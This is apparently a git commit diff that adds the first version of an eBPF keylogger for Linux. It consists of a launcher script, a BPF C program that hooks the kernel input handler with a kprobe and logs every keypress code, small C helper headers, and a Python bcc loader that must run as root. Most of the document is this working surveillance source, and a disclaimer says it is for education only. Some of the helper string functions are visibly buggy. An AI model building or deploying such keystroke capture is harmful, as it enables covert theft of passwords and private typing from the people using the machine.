we have a working keylogger, but lets make it better

bpf-keylogger

@@ -0,0 +1,5 @@
+#! /usr/bin/env sh
+
+DIR=$(dirname $(readlink -f $0))
+
+python3 $DIR/src/python/main.py $*

src/bpf/bpf_program.c

@@ -0,0 +1,28 @@
+#include <linux/interrupt.h>
+#include <linux/input.h>
+#include <uapi/linux/input-event-codes.h>
+
+#include "src/bpf/bpf_program.h"
+#include "src/bpf/helpers.h"
+
+/* BPF programs below this line ---------------------------------- */
+
+/* https://github.com/torvalds/linux/blob/master/drivers/input/input.c */
+int kprobe__input_handle_event(struct pt_regs *ctx, struct input_dev *dev,
+			       unsigned int type, unsigned int code, int value)
+{
+    /* Keypress event */
+    if (type == EV_KEY)
+    {
+        bpf_trace_printk("code %u\n", code);
+    }
+
+    return 0;
+}
+
+int kprobe__input_repeat_key(struct pt_regs *ctx)
+{
+    bpf_trace_printk("repeat key!\n");
+
+    return 0;
+}

src/bpf/bpf_program.h

@@ -0,0 +1,4 @@
+#ifndef BPF_PROGRAM_H
+#define BPF_PROGRAM_H
+
+#endif /* BPF_PROGRAM_H */

src/bpf/helpers.h

@@ -0,0 +1,44 @@
+#ifndef HELPERS_H
+#define HELPERS_H
+
+#include <linux/sched.h>
+
+static inline struct pt_regs *bpf_get_current_pt_regs()
+{
+    struct task_struct* __current = (struct task_struct*)bpf_get_current_task();
+    void* __current_stack_page = __current->stack;
+    void* __ptr = __current_stack_page + THREAD_SIZE - TOP_OF_KERNEL_STACK_PADDING;
+    return ((struct pt_regs *)__ptr) - 1;
+}
+
+static inline u32 bpf_strlen(char *s)
+{
+    u32 i;
+    for (i = 0; s[i] != '\0' && i < (1 << (32 - 1)); i++);
+    return i;
+}
+
+static inline int bpf_strncmp(char *s1, char *s2, u32 n)
+{
+    int mismatch = 0;
+    for (int i = 0; i < n && i < sizeof(s1) && i < sizeof(s2); i++)
+    {
+        if (s1[i] != s2[i])
+            return s1[i] - s2[i];
+
+        if (s1[i] == s2[i] == '\0')
+            return 0;
+    }
+
+    return 0;
+}
+
+static inline int bpf_strcmp(char *s1, char *s2)
+{
+    u32 s1_size = sizeof(s1);
+    u32 s2_size = sizeof(s2);
+
+    return bpf_strncmp(s1, s2, s1_size < s2_size ? s1_size : s2_size);
+}
+
+#endif /* HELPERS_H */

src/python/bpf_program.py

@@ -0,0 +1,48 @@
+import os, sys
+import atexit
+import signal
+import time
+
+from bcc import BPF
+
+from defs import project_path
+
+class BPFProgram():
+    def __init__(self, args):
+        self.bpf = None
+
+        self.debug = args.debug
+
+    def register_exit_hooks(self):
+        # Catch signals so we still invoke atexit
+        signal.signal(signal.SIGTERM, lambda x, y: sys.exit(0))
+        signal.signal(signal.SIGINT, lambda x, y: sys.exit(0))
+
+        # Unregister self.cleanup if already registered
+        atexit.unregister(self.cleanup)
+        # Register self.cleanup
+        atexit.register(self.cleanup)
+
+    def cleanup(self):
+        self.bpf = None
+
+    def load_bpf(self):
+        assert self.bpf == None
+
+        # Set flags
+        flags = []
+        if self.debug:
+            flags.append(f'-DBKL_DEBUG')
+
+        with open(os.path.join(project_path, "src/bpf/bpf_program.c"), "r") as f:
+            text = f.read()
+            self.bpf = BPF(text=text, cflags=flags)
+        self.register_exit_hooks()
+
+    def main(self):
+        self.load_bpf()
+
+        while True:
+            time.sleep(1)
+            if self.debug:
+                self.bpf.trace_print()

src/python/defs.py

@@ -0,0 +1,3 @@
+import os, sys
+
+project_path = os.path.realpath(os.path.join(os.path.dirname(__file__), "../.."))

src/python/main.py

@@ -0,0 +1,38 @@
+import os, sys
+from argparse import ArgumentParser
+
+from bpf_program import BPFProgram
+
+DESCRIPTION="""
+A keylogger written in eBPF.
+"""
+
+EPILOG="""
+WARNING: This is intended for educational purposes only and should not be used maliciously.
+"""
+
+def main(args):
+    bpf = BPFProgram(args)
+    bpf.main()
+
+def is_root():
+    return os.geteuid() == 0
+
+def parse_args(args=sys.argv[1:]):
+    parser = ArgumentParser(prog="bpf-keylogger", description=DESCRIPTION, epilog=EPILOG)
+
+    # Print debug info
+    parser.add_argument("--debug", action="store_true",
+            help="Print debugging info.")
+
+    args = parser.parse_args(args)
+
+    # Check UID
+    if not is_root():
+        parser.error("You must run this script with root privileges.")
+
+    return args
+
+if __name__ == "__main__":
+    args = parse_args()
+    main(args)